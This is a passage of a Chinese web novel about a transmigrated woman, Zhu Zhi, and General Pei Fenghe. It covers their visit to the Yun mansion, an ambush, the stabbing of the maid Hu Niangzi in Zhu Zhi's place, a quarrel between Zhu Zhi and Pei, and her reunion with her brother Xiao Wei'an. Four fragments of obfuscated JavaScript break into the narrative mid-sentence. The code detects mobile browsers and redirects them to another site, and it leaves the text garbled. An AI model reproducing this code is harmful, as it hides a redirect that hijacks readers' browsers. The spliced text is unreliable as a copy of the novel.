他微微转头,只看见了女子用绑带一圈圈缠住的,坚硬的手掌,缓缓张开抚在地上。他仿佛能看见曲如桢那双坚定清澈的眸子,正和他一样,在透过这片府邸,见到了那个长身立世的人。 曲如桢利落地行了一个礼,清亮的声音仿佛震碎了围绕这片府邸的乌云,“晚辈曲如桢,打搅了。” 竹徵的想法很简单,她进来也算是打扰了云府一行人的亡魂,说不定他们恋旧徘徊于此呢?或许还有一点点的,对于那个孤身跪于庭中之人的不忍吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289457|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她行完礼便起来,退了两步站在裴风鹤后面,少见地没有催促他,而是双手交叠,放于身前,安静地等待他。 她的行为或许是打乱了裴风鹤的思绪,他没有再一直跪着,而是终于挺直了半身,“晚辈……来看您了。” 他说完一直低着头,久到竹徵以为他是不是晕过去了,才站起来利落地转头。 “不进去看了吗?”竹徵跟着转身干脆离开的裴风鹤,并着步子问道。 “重要的已经知道了,跟云家有关。”裴风鹤低声说,却已经没有先前跪在那时一样的脆弱又破碎的感觉,反而强硬了几分。 竹徵一直跟着他跑,这时没注意,脚下感觉踩到了什么有些圆润的东西,刚一踏上去就不自觉地往前滑,完全站不稳,身体向后倒去。 她心想:“我绑定了什么攻略系统吗,怎么一碰见他就要摔跤!!!” 她心如死灰,已经不愿再看,但是裴风鹤也不负她望地稳稳接住她。 她试探性地睁开一只眼,才发现为了捞她,裴风鹤以一个及其暧昧的姿态贴在她的脸旁,他的脸颊离她的嘴唇仅仅一寸,近的连他脸上的绒毛都能看见,她猛地全睁开眼,呼吸不自觉地加重了,全喷在裴风鹤的脸上。 她感觉到对方的手一下子僵硬了,几乎是以她完全反应不过来的速度抽回去了,她就如此干脆地又摔回了那片满是落叶和树枝的地上。 太快了,猝不及防。 她甚至都来不及怨怪,只感受到自己结结实实地摔了个狗坑泥,屁股上的疼痛感瞬间从点到面蔓延开来,让她龇牙咧嘴。 裴风鹤有些慌乱地声音在她耳边响起来,“刚刚……对不起。”他似乎手忙脚乱地想扶她起来又不知道从何下手,就那样像在空中胡乱挥着。 竹徵缓了好一会才瞪着他,“不用了!你这样不如不扶!”说罢自己忍着疼,慢慢从地上磨蹭着起来,裴风鹤的手刚扶上她,就被她狠狠拍了一下,她估计自己的力道肯定是拍红了的,但也不愿意管他,自顾自的往前走。 她叉着腰,痛不欲生地挪到了门口,令她有些意外的是,一直火急火燎的裴风鹤这时后倒是知道默默跟在她身后,也不抢着走了。 她走到府门,还未踏出去边微侧了一下,只留半边脸对着裴风鹤,板着脸说:“接下来怎么办?” 裴风鹤话语中有些小心翼翼:“查清云家跟木樨花纹的联系,还有就是我……姑父死了这么多年,为什么木樨花纹同他都有联系。” 竹徵这才想到,其实一直到正文结束,书中除了主角团之外的几个人,都是不知道云暨英实则是摄政王的左膀右臂的,而且在朝中,云暨英也只是有荫蔽的世家公子,没有这么复杂的身份。 她理应也是不知道的,她庆幸自己没说漏嘴,面上却不显,只冷冷地说了一句:“哦。”就要开门向府外走去。 裴风鹤在府外留了个人看门,但是竹徵拉开门时并未见到人,只感受到裴风鹤猛地拉过她的手臂:“小心!” 28. 第二十八章 刺杀 竹徵下意识猛地将门关上,但有一股力气同她对抗,实在推不动,只好用侧过来用肩背撞了一下,门板这才拍到人身上,发出沉闷的声响。 竹徵撞完就马上后撤几步,一手去取脑袋上的簪子,一边冷静地看着裴风鹤将那人卡在门中的手狠狠折了一下。 裴风鹤动作迅速,将这人的手拧错位后,就收手先抽佩剑,用脚快速地踹向门,连带着翻飞的衣角一起,如同撞钟般利落,那人应该被他这样一下推到远处。 在这瞬间,裴风鹤将眼神投向她,她即刻就懂了裴风鹤那目光的意义,背贴门,握紧簪子。 裴风鹤用脚将门勾开,竹徵这个角度只能看见他谨慎缓慢的侧影,她听见兵刃相接的声音,从门后露出一双眼睛偷看,裴风鹤正跟两个人缠斗,后面还有几个插不进身的拿着剑站在后面。 竹徵疯狂思考着,能来刺杀的多半就是摄政王,他应当是怕木樨花纹被裴风鹤带回京,顺着这条线把他摸出来。 她现在能做的似乎只有躲着不给裴风鹤添麻烦,但是裴风鹤虽说是将军,这么多暗卫围杀他也吃不太消,她必须想个办法。 她摸了摸自己身上,发现了一个自己很久没有用过,几乎要忘记的东西——那个青蓝的鸟哨。 裴风鹤之前将鸟哨给她时就交代了,这声音特殊,效果怎样不说,至少能起到震慑作用。 她用自己最大的力气深吸一口气,将鸟哨吹响,声音悠长而响亮,荡在这片无人之地。 裴风鹤和这些人缠斗时,听见这声音几乎立刻会意,在下一次架着剑对峙时,没有急着将对方的武器打落,而是用胜券在握的眼神盯着对方,悠悠地说:“你们一个都逃不掉,幕后的人是谁?” 那群人明显就慌了,齐刷刷地看着那个同他对峙的头头,这人蒙面看不到脸,却见他皱起眉,一双眼睛透露出来纠结,终于还是收手,“撤!” 裴风鹤方才收剑,摩挲这剑柄上凸起的花纹,似在思考什么。 竹徵听见没动静了才敢探出头来,踏着不是很稳的步子从门后鬼鬼祟祟地出来。 竹徵摸到裴风鹤身后,才悄悄地同他说:“走了吗?” 他没回头,“走了。” 竹徵这才放松了下来,听见裴风鹤声音也像染上了几分暖意,“很聪明,多亏你。” 竹徵听见这话,一股得意从内心深处悄然蔓延,她有些眉飞色舞了:“那当然。”一边还想将刚刚的拔下来的簪子插回脑袋。 但是她今日发髻梳的不好,有些一边大一边小,她摸了半天也无法寻找到合适的缝隙,以一个及其滑稽的姿态插了半天,都有点想破罐破摔了,手臂酸麻得只能暂且放下,无奈地叹了口气。 她思考了一瞬,还是觉得无处安放这簪子,终究还是要插回去,手刚刚举到胸前,就有一只温热的手接过她的簪子。她一下子没反应过来,只看见男人骨节分明的手就那样将簪子带离她的视线。 她感觉自己像烤串上的肉,被人扶住脑袋,用有些轻柔的力气帮她插了一个东西进层层叠叠的头发,不知道为什么还连带拍了拍她那不太整齐又很生动的发髻,居然还略带宠溺,“好了。” 她有些赌气地抬头,却看见裴风鹤的表情却没有她想象中的轻松,反而眉头微皱,像是在担心什么。 “这么久……都没反应。”裴风鹤几乎刹那之间声音就染上了几分冷意,抬头看着天,也是广阔而白净的。 竹徵一愣,才发现,鸟哨没有引人过来也便罢了,居然连信鸽都没有招来。事出反常必有妖。 竹徵想到了什么,也顾不上形象,提着裙子就跑起来,“营地!”说着都来不及招呼人,跑到他们今日骑的马前,就想要策马回营。 骑马或许算她为数不多在这个世界能掌握的技能了,她一脚踏在马鞍上,另一只脚用力一蹬,迅速地上了马,动作迅速得连裴风鹤都惊了一下。 衣袂翻飞之间,尽是凛冽之色,裴风鹤只在倏忽之间捕捉到了那一点,就马上跟上她的步伐翻身上马。 今日之事,更像是调虎离山,对方一开始就没打算杀了他,只是想给他一个震慑——对方知道他所有的动作,不要再查下去了。 裴风鹤拉着缰绳的手默默捏紧了,曲如桢对马鞭有阴影,因此他们今日都没配马鞭,此刻却显得有些不足,他只希望能再快一点。 营地里留下的,有很多当时跟金虹帮缠斗之后剩下的伤兵,他带的人本来就不多。 骑到靠近营地的地方后,竹徵不妙的预感顿生,太安静了。 最近虽然是暂时安置在这,但是平日里多少会有拉练声,也会在固定的距离里留有部分守岗的,今日静得出奇。 她翻身下马,脚刚触及地面,就感觉身体有一根线,细细的一条,却拉扯着她的内脏,瞬间将她的五脏六腑都牵引移了位,她眼前又闪过那时的遍地血红,手上的绑带感觉缠住了她的脖颈。 她一阵眩晕,不自觉地往下栽,却感受到有人有力地撑了她的手臂一下,她回头,裴风鹤的面庞和她刚成为曲如桢时看见的重合,却不知为什么,她总觉得,那份最开始的疏离与冷漠,已经消失一些了。 或许是他言语之中透露出来的淡淡关心,或许是他冰冻三尺的眼神已经开始慢慢破裂,亦或是他不再像曾经那样礼貌而又陌生地将将扶住她,而是有力地托住。 他说:“每一步踏稳了,才不会摔,前路迷雾未散,不要自己先乱了阵脚。” 她眼中迷蒙散开,此刻方才清醒一点,刀山火海,总要自己去闯闯才不会再被幻象围困,她来这世上,总不能一直这样永远囿于其中。 她站定,调整好自己的情绪,迈着步子跟在裴风鹤身后进入。 入她眼的风景,如同今日府里一般的荒凉,初冬的风吹起,掀起一地的荒芜。 裴风鹤一直是备战状态,手持利刃,竹徵也依旧取下了那把簪子,悄悄藏在手心。 忽然有脚步声传来,踩在地面发出的声响让她整颗心都提起来了,她有些警惕地望向营帐的方向。 “将军!” 竹徵听见这一句,一直紧绷的弦才终于松懈下来,长叹一口气松下力气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290735|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >裴风鹤看见自己熟悉的人,也微微松了一口气,手上的剑还未收进去,就听见对方说:“胡娘子不行了!” 竹徵乍一听还没能弄懂他什么意思,听到“胡娘子”三个字猛然反应过来,不管不顾地抓住那个士兵追问:“胡娘子怎么了?!” 那士兵睨着裴风鹤的神情,得到他的首肯才吞吞吐吐地说:“就……就是胡娘子去喂信鸽,但营地里应该是埋伏了人,早就等着,问……” 竹徵着急得不行,边往里头走边催促,“问什么?” 那将士方才吞吞吐吐地说:“问她是不是曲如桢,胡娘子许是认下了,那人捅了她马上就跑了。” 竹徵那一刻如坠冰窟,胡娘子是……替她承受了吗?摄政王本来应该是想灭她的口? 她也顾不得其他,直接提着裙子跑向里间,“这一次不能再摔了啊。”她想。 明明是她总是自己摔倒,怎么别人扶住她呢? 她心中汹涌的情绪找不到落点,积攒着在脑海中翻起一阵一阵的浪花,最后只剩虚无的波浪,她已经几乎看不清路,眼中甚至不是雾气,而是潮水,立马就要决堤。 她未进那帐子里,就闻到了一股浓重的血腥味,她抬起的脚顿了一下,有些不敢进去。不知为什么,脑海中响起来裴风鹤的声音,“踏稳了才,不会摔。” 踟躇不进终究脆弱,她既要走,步子就必须稳,大不了上山入海,这苍茫大地,总有胡娘子的活路。 她想的不错,可真正看见胡娘子全身血红,手足无措的大夫只能拼命塞住她不断往外涌鲜血的伤口,红色在她眼前炸开,只剩余浪在翻涌。 胡娘子在看到她之后,眼神中的防备与不安卸下了许多,她却少见地,不敢去看那一个全身是血的熟悉身影。 害怕这模样就是最后一眼,又害怕胡娘子这样子与平时迥异,她控制不住情绪和慌乱。 她只能转移视线到那位垂垂老矣的大夫身上,声音带着她自己都无法察觉的颤抖,话语几乎已经不成句了,“大……大夫,不会死吧?” 那苍老的人此时也显露出几分无奈,一手堵着伤口,一边说:“伤到要害,止了血就只能看命了。” 她听见这一句话,已无力再做出任何反应,糊满已经干涸凝固血渍的手缓缓出现在她眼前,她再也忍不住,眼泪决堤而出,落在胡娘子手上混着一些血色滴落,看起来真的像流动的汩汩鲜血。 她不敢使劲,只轻轻,颤抖地触上胡娘子的手,对方的手太烫了,几乎要将她烙出一个印子来。 “上回……就是我先走,这一次,好歹护住你了。”胡娘子动不了,只用安抚的眼神看着她,温暖又痛苦。 她不敢在胡娘子面前哭,只能收紧了握住她的手,任由头埋在那全是血渍的手上,泣不成声。 “只是我男人,答应了他,给他做烙饼的,这下怕是,要失约了。” 胡娘子目光转到营帐的顶部,空虚得像是透过这些望着什么别的东西,又像是在期待什么。 无声的营帐里,却似是有所有人都能听见凄凉的歌声。 29. 第二十九章 矛盾 “许大哥今天能到吗?”竹徵轻轻握着胡娘子的手,却没有回头,只是将头埋在胡娘子手上。 刚刚大夫已经包扎好了胡娘子的伤口,叮嘱今天一定要关照好,能否活下来就看今天。 裴风鹤看胡娘子已经睡晕过去,也没顾忌,“我派人去叫了,快马加鞭许是差不多。” 竹徵擦了一下自己已经滑到脸颊旁的眼泪,缩了缩鼻子,整理了一下,将她刚刚已擦干净的胡娘子的手掖进被窝里,缓慢地站起来。 裴风鹤不知道她要干什么,只愣愣站着。 竹徵却将他推出门,裴风鹤还没来得及说话,竹徵的手却已经翻上来,他猝不及防,甚至只下意识拿手挡了一下。 对方却借力打力,顺着他的力量,握着簪子的手反而推到自己身边,在他另一只手先到时,那簪子竖着一推,又像初次见面时插在他掌心,皮开肉绽,鲜血直流。 他吃痛,却强压着自己的本能反应,没有掐住对方的脖子,而是后撤几步,看见曲如桢那冰冷的眼神,一股寒意逆着手上滴落的血,向上爬满他的经脉,几乎冻住了他。 血滴在泥土上,浸入这片广阔的土地。 他听见她的声音,却遥远得像在天边,“裴风鹤,是你吧?” 他眼神方才能够定在她脸上,她周身气息是冰冷的,眼神却有点悲伤,裴风鹤甚至感受到了一点,恨铁不成钢。 他却无法形容此刻什么感觉,第一次,他试探曲如桢的时候,她就表现出完全不会武功的样子。 但是今天,他不相信借力打力当机立断这一套是巧合。 他的方法一向是保守中带着几分激进,反而有些中庸,其他人向来性格鲜明,少见他这种流派做法。 隐藏得也很微妙,他早见过她的身手,虽然机灵但确实是没有什么基础,会这个不算奇怪。 但是……许久不见藏在心里的悸动又被牵扯出来,她再一次,在新的记忆几乎已经覆盖掩盖回忆的时候,又让他怀念起曾经。 那句“裴风鹤”,前调下压后调上扬,像轻轻的吟唱,只有她会这样叫他。况且,曲如桢从来没有这样叫过他。 此刻情绪已经翻涌了起来,他望着曲如桢的眼睛,已没有办法分辨清楚她的话语与潜藏的情绪。但总是下意识地,感觉那双眼睛与他曾日日夜夜思念过的重合。 竹徵此刻漠然地看着他,不知道为什么,他明明被自己刺伤了,但是那表情居然有点欣喜,别人或许认不出来,但是她之前同他朝夕相处了这么久,能看出来他微微上扬的嘴角和眉眼。 她感觉一股无名火从内里窜上来,烧得她心绪不宁,过了一会,才听见裴风鹤强压什么的声音,“是什么?” “你跟胡娘子说过吧?让她……替我死。”竹徵死死盯着裴风鹤的眼睛,感觉到身体里移位的五脏六腑还没有归位,就那样翻倒着。 他怎么能在这种时候,还能开心呢?胡娘子自己替她去死,这话太牵强了,胡娘子不知道纹样这件事,不知道背后的人……怎么会在遇见那个人的第一时间,想的就是认下她的身份?! 竹徵知道裴风鹤是为了肖唯安,也知道,他其实只是让胡娘子不得已的时候护住她,但是胡娘子的命就不是命吗?他凭什么替她抉择呢? 裴风鹤好像愣了一下,他脸上的血色和最开始那抹微妙的欣喜逐渐消失,脸上取而代之的悲戚,“……是。” 竹徵听见他回答的那一刻才真正像是绷着的弦断了。胡娘子的样子又在她眼前重现,她的眼前又模糊了,却不愿自己如此落于下风,强憋着眼泪,向前几步。 裴风鹤那一刻却也动了,他几乎是毫不犹豫地拔下那把堪堪插进自己手掌的簪子,手上的血已经染红了那把金簪,竟有几分泣血之象。 “你是谁?” “你凭什么?” 两句话几乎同时说出时,双方都心凉了一瞬间。 竹徵没有说话,眼中的情绪却仿佛有千万往下涌,她深吸一口气,只伸手,轻轻触及裴风鹤的手掌,不费什么力气就拿回了他手上那把簪子。 裴风鹤看见她拼命压抑的情绪,直觉他现在什么都不做,他们之间又会倒退回认识的前一夜,他心揪了一下,强迫自己抛开那些曾经与过往。 哪怕是为了那个鲜活的曲如桢呢?哪怕是为了她也坚定不移地跪在自己的身侧呢?哪怕是为了同她相处时,自己隐秘按下去的狂热心跳呢? 他是不是也能,放下曾经,放下自己回忆中永远鲜活的人,放下那个囿于昔年的自己。 太虚伪了,他想起来当时唐语蓁评价他的话,他确实是如此的人。 他甚至都做不到,就如此剥离。唐语蓁为他牺牲了名声,即便如此荒谬地怀疑,即便他在此之外也为曲如桢……心动过,他也做不到放弃那些复杂的曾经。 他不过是没有办法接受对方的失忆与性情大变,居然想出这么一桩荒谬的借口,唐语蓁总是太能切住他内心最隐秘的阴私,又被她说中了。 他总是逃避,享受了一切又逃走,就像她说的逃兵。 他想着这些,就撒手任她抽走那把簪子,只剩下一地血红。 “将军的意思我知道,可是,人不是物品,将军让她替我死,就没有问过我愿不愿意吗?”竹徵敛目,深吸一口气。 她拼命告诉自己,眼前的人不是那个,会尊重她的意愿的少年,而是边疆五年成长起来的杀伐果决的将军。 她像是被掐住脖子,每一句话出口都只剩酸涩,挠着她的喉管,撕扯着她的理智,叫她想要歇斯底里地叫喊和质问。 她强行压下心里那些叫嚣着的小人,手紧紧捏着那把簪子,那上头的血浸入了她新换的绑带,凸显出一条条血线,乍一看像她手掌的脉络。 “我答应你哥哥,要好好将你送回去。”裴风鹤的声音不远不近,像审判一样,悠悠地飘入她的耳中。 她咬着牙,终于还是忍不住,“这一刺,是我想告诉将军,哪怕结果已经如此,将军从此以后再忽视我的意见,用所谓对我好的方式,造成今日这样的结果,我不介意跟将军撕破脸。” “裴风鹤,你从一开始就知道的,我是一个睚眦必报的人,这是我的底线。” 竹徵说完,心里的一直堵着的东西终于通了,手一松,簪子落地,金石相撞发出清脆的响声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304395|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴风鹤听着这句话,想起来那天,他同唐语蓁去青松庵,路上遇见个半仙,她非要批一个字,批出来“过刚易折”几个字她又不满意。 她说:“装神弄鬼,我虽然小心眼,但是大是非面前我还是很会选择的,有什么比性命更重要?” 她话虽如此,但从后来一切都能看出来,那句“过刚易折”不是假话,她太直楞,小事上退让,一旦涉及她的自我,就会有着玉石俱焚的勇气。 太矛盾的人,曲如桢也是这样矛盾。 他太混乱,以至于,只能望着那个背影,逐渐消失在风里,只剩那支混着血迹的金簪孤零零地躺在地上。 竹徵走到营帐内,才开始大喘气,有些摸不透自己的心。她轻轻用手抚着自己心脏的位置,感受着自己说出话那刹那的撕裂。 她从一开始就知道裴风鹤是将军,在这整个世界里,他是不可能去考虑每一个人的,但是就像她四年前因为他的指责生气一样,她总是不能接受裴风鹤的理所应当。 理所应当地接受好意又指责她,理所应当地为她安排胡娘子替她死,又或者是,理所应当地替“哥哥”照顾她。 她低下头,感觉营帐里有呛人的气息,她的眼泪止不住地往下掉,“这么辣,熏到胡娘子怎么办?”她想。 她感觉全身发冷,缓慢地蹲下来,抱住自己的四肢,以一个蜷缩的姿态委在角落。 甚至她自己都不知道,说那些话,究竟是她对裴风鹤不满,还是她接受不了胡娘子现在这个情况,居然是她一手酿成的。 “活成这样,还真是糟糕。”她将头埋在膝盖里,想着。 胡娘子醒后,竹徵一直忙着跑前跑后,做什么事都亲力亲为。 胡娘子虽然精神头不好,但还是能看出来她有些慌乱,生怕自己闲下来。 胡娘子在下一次她打水过来时,轻轻拉住她的手,“这是干嘛呀。”声音很轻。 竹徵被拉着手,也跟着坐在榻边,不过依旧没有看她,只像个犯错的孩子般低着头,轻轻摇头。 胡娘子偏高的体温烫得竹徵有些坐立不安,坐了一会,竹徵又不知怎么开口,只能转移话题,“我去……” 胡娘子刚睡醒,也不知道哪来的力气,一下就将已经半起身的竹徵拉回榻上,“怎么回事,帮你挡了个剑,就不理我了?” 竹徵听了这句话愣了一下,听懂胡娘子的意思的那一瞬间一直积攒的眼泪才奔涌而出,欻欻地滴落在被子上,“我不敢……面对你。” 竹徵身体一直在微微颤抖,却在胡娘子腾出一只手来摸住她肩膀时,骤然停止。 胡娘子丝绸一般轻柔的声音传进竹徵的耳朵里:“不是你的错啊,是我想保护你,就像你想保护我一样。” 胡娘子已经倾身轻轻抱住她,安抚地拍了拍她的肩膀,“我没事,第一次,你不也让我先走吗?” 她的情绪再也控制不住,决堤而出,抱着胡娘子一把鼻涕一把泪地大哭起来。 忽然外面传来有些熟悉又有点陌生的声音:“阿琼!” 竹徵听见这个词时,哭声终于顿住了,这是真正肖小姐的名字…… 30. 第三十章 兄长 竹徵愣了好一会,连带着胡娘子也僵住了。 肖琼华,肖小姐,就是她的新身份。 竹徵微微偏头,外头有人急促的脚步声,她听见玉佩相撞的声音。 她几乎立刻就猜出来来人是谁,这么骚包的人,她所认识的,也没有第二个了。 果然有一个身着朱柿色衣袍的男子从外头踏进来,他来得急,脚步不稳,差点栽倒,身上尽是些浮夸的纹饰。 “肖唯安真是一如既往地骚包啊。”竹徵刚刚一直处于在悲伤之中,此刻居然还生出几点莫名的亲切来。 胡娘子第一时间警惕地抱住她,竹徵缓缓拍了拍胡娘子的手背以示安抚。 她先背着门口,用衣袖将自己的眼泪擦干,肖唯安却在这短短时间内已经冲到她近前了。 他似乎有些无措,都冲到了她俩近前,却对着胡娘子说:“阿琼!你怎么了!” 胡娘子的五官都僵住了,眼神一直钉在竹徵身上,有些尴尬地勉强咧开嘴角,“我不是……” 肖唯安应该是担心过了头,也不管胡娘子说什么,就一下子把她压在怀里,将竹徵挤到一边,揽着她轻轻拍着,“没事,哥哥来了。” 刚刚还让出来空间给他,抱着臂看热闹的竹徵听见这话,心里多少酸涩了一下,又想着胡娘子的伤,伸手拍了拍肖唯安。 肖唯安一耸肩,浑身的拒绝,“起开。” 胡娘子见这场景,只能故作疼痛,一嗓子叫出来:“疼疼疼!” 竹徵听见这话立马严肃起来,一把抓住肖唯安的衣服,将他推到一旁去。 肖唯安似是没反应过来,一下子被她掼在地上,却仍旧用关切的目光看着胡娘子,“怎么了?” 竹徵确认胡娘子的伤口没有出血,又再三问过胡娘子没事后,才转身看着已经站起来,同样用关切看着胡娘子的肖唯安。 “那个,对不起啊。”竹徵酝酿了一下,还是不知道怎么开口,只能先道歉。 肖唯安依旧没看她,只是摆了摆手,“没事没事,不是我说,阿琼你这个女使过于生猛了……” 胡娘子看着肖唯安,很明显地坐立不安了起来,用手偷偷拉了一下竹徵的衣角。 竹徵这才开口,不过也有些支支吾吾,“我是……曲如桢。” 闻言肖唯安才猛地转过头,他这才看清旁边这“女使”的脸,跟他简直是一个模子里刻出来的桃花眼,高鼻梁——甚至那份妖冶也同他很相似。 任谁看了都会说,他们才是亲兄妹。 他忽然就愣住了,此刻方才感受到几分血脉之间的牵引和联系,连刚刚认错的尴尬都忘了,紧紧盯着对方的脸,手也止不住地颤抖起来。 “你……”肖唯安的语音有了几分颤抖。 “哥。”竹徵下定了决心,抬头望着肖唯安的脸。她同肖唯安四年未见,没想到此刻居然是这样的场景。 她对于肖唯安的印象已经太过模糊,此刻一见,确实是觉得同她现在这张脸有几分熟悉。 那张脸与她记忆里的重合,渐渐显露出来遥远的肖大人和肖夫人的样子,她只远远地见过一回,但是从记忆里来看,曲如桢确实是走失的肖琼华。 旁边的肖唯安经过刚刚那一出,反而有些踌躇起来,没想到那血缘竟可以让他触动至此。 他一直以来的寻找,除了几分微薄的爱,或许更多的是歉疚,但是此刻,他终于从酸涩的内心尝出几分对于这个妹妹迟来太久的爱。 这不同于他见到那个假妹妹时一样,他沉寂已久的内心,此刻终于见到能与之共鸣的躯体,疯狂叫嚣着,这就是血缘么? 竹徵反倒感受到几分自己体内的冲动,这份血缘连结或许也深深埋在曲如桢的身体里,正期待着一场久别重逢。 她默了一瞬,终究还是上前两步,踮起脚来,轻轻用手臂揽住肖唯安有些单薄的肩膀,轻声说:“你来了。” 她想,如若真正的曲如桢还在,应该会想这样吧。想揽住那个千辛万苦来找她,期待着她的回归的人,汲取在这世上为她留下的最后一丝温暖。 肖唯安的手也抬起来,很坚定地揽着她。 简易营帐里,只剩许久未见的兄妹的相拥。 简单的叙旧和交待过后。 竹徵尽力拉住已经在营帐里破口大骂的肖唯安,无果后只能由着裴风鹤将他打断。 “寓平,张巡已经死了。”裴风鹤冷静地说。 字寓平的肖唯安在听过曲如桢的故事后,就一直在大骂张巡,那架势颇有得知他死了还想要鞭尸的冲动。 为了不打扰胡娘子和方便商量后续事宜,竹徵和肖唯安迫不得已移动到裴风鹤的营帐。 竹徵虽然还是不太愿意跟裴风鹤共处一室,但是知道接下来商量的事同她回京密不可分,再不情愿也不得不去。 她坐在那,听着裴风鹤安抚肖唯安,他们应该也有四年没见了,但是举手投足之间的熟稔还是出卖了这两位年少朋友。 裴风鹤将那个人贩子的口供交给肖唯安,竹徵则开口道:“当日那个掌柜说了什么?” 此话一毕,另外两个人都愣住了,竹徵也在自己脑海中梳理此事。 之前张巡这件事就跟木樨花纹有关,据点是玉华楼,拐卖者说是跟玉华楼联系,包括她发现的穿书者也是玉华楼的真正主人。 那么这一切的切入点,都是那个被穆常念带走的掌柜。 肖唯安望着这两个明显通过气的人,心里莫名地不爽,他作为风流公子,一眼就看出来了他们俩有矛盾,但是平日里肯定是亲近的。 妹妹不了解,裴风鹤他还不懂吗? 他前些年一直被责任压住,好不容易出现个唐语蓁,喜欢上之后又忘却前尘,性情大变,他要是再喜欢上谁,一定是抓住不撒手的。 他私心不太希望自己的妹妹喜欢上他,因为无论如何,为了责任他一定会娶唐语蓁。 他此刻却知道事关妹妹的身份,决定先按下不表,暂时听着,裴风鹤也转过头来解释了一番。 解释完了他才说:“那掌柜的开口没说几句有用的,但是确认了这件事跟庆州参军有关,而且他们将消息送到钰紫阁。” 这个钰紫阁竹徵没听过,此时抬起头来,看着裴风鹤和肖唯安。 肖唯安听闻愣了一下,方才开口,“钰紫阁算是近几年时兴的一个商铺,卖些首饰胭脂。” “钰紫阁,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314595|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是穿书者的落脚地吗?”竹徵想着,面上却不显。 她摆出一副天真的模样,依旧问:“那我是不是不能回家了?” 裴风鹤听见这话,虽然感觉她是故意在她哥哥面前显得人畜无害,听见的时候还是僵了一下,心里无端有点刺挠。 肖唯安刚刚一直站在竹徵身旁,此刻才转过来,认真地看着她:“阿琼,不用担心这些,我会将你好好带回去的。” 裴风鹤沉默了一瞬,依旧还是说:“现在的证据恐怕不够,原来那位……背后没有人是很难假扮成功的,一击不中反倒惹火烧身。” 口供,玉佩,长相。她现在的证据只有这三个,但每个都不足以证明她才是真正的肖琼华,她还需要一些,关于摄政王十五年前拐卖她更切实的证据。 况且,借着这件事,顺藤摸瓜找出真正的穿书者也好。 肖唯安同裴风鹤说了几句,本是要带着竹徵先走一步抵达京城,以免透出什么不好的谣言,但竹徵执意跟着裴风鹤一行人照看胡娘子。 肖唯安没劝住,只能顺着她。 临走之前,裴风鹤还叮嘱了一句:“她现在在对方眼里应该是死了或者半死不活,小心点,这一路不会有大问题。” 肖唯安点点头,随即就带着竹徵告辞了,刚出营帐,肖唯安就以见面后最严肃的表情看着她。 她不明所以,却忽然想起来这时胡娘子要换药了,连忙跟肖唯安解释了一下,然后就立马跑向胡娘子那边去了。 殊不知在肖唯安眼里,她就是故意在逃避。 竹徵根本不知道肖唯安在想什么,踏进胡娘子营帐时她正好自己在笨手笨脚地换药。 这军中女子本来就不多,裴风鹤这回只带了一支小队,胡娘子都是特意遣过来陪她的。 胡娘子伤的是要害,大夫因男女大防也无法上药,许大哥还未归,自然要么是竹徵帮着上,要么就是胡娘子自己上药了。 她火急火燎地赶过来,这才好歹赶上帮她换药。 胡娘子看她过来,很自觉地将手上的东西递过来,竹徵接过开始上时,胡娘子才开口,“还气呢?” 竹徵嘟着嘴,又有些忍不住,声音里又带了几分呜咽:“我气自己,不仅没保护你,还让你替我受罪。” 好像触及了胡娘子的伤处,她“嘶”了一声,随即却平静地开口,却没有接过她的话,“听说你跟将军吵架了?” 竹徵上药的手顿了一下,嘴硬道:“我没资格跟他吵架。” 胡娘子听她这话终于转过身来,也不管竹徵说她将药蹭掉了。 “不是将军要我替你死的。”胡娘子第一次摆出来如此正经的表情,竹徵都有些不习惯。 “你怎么……” “我知道,这事你自责,多半跟将军吵架也是认为是将军的命令,但是将军只下令让我保护你的身份。” 胡娘子轻轻抹开她脸上的那一滴眼泪,“上回不是我先走了吗?我一直过意不去,这回也是我冲动了。但是跟将军真的没有关系。” 竹徵的也回握住胡娘子的手,将她的手从自己脸上挪下来,用另一只手轻轻盖住。 “将军……很尊重我,我是自愿的。” 31. 第三十一章 道歉 胡娘子说完这话,深切地望着她,似乎想从那眼睛之中看出几分异色来。 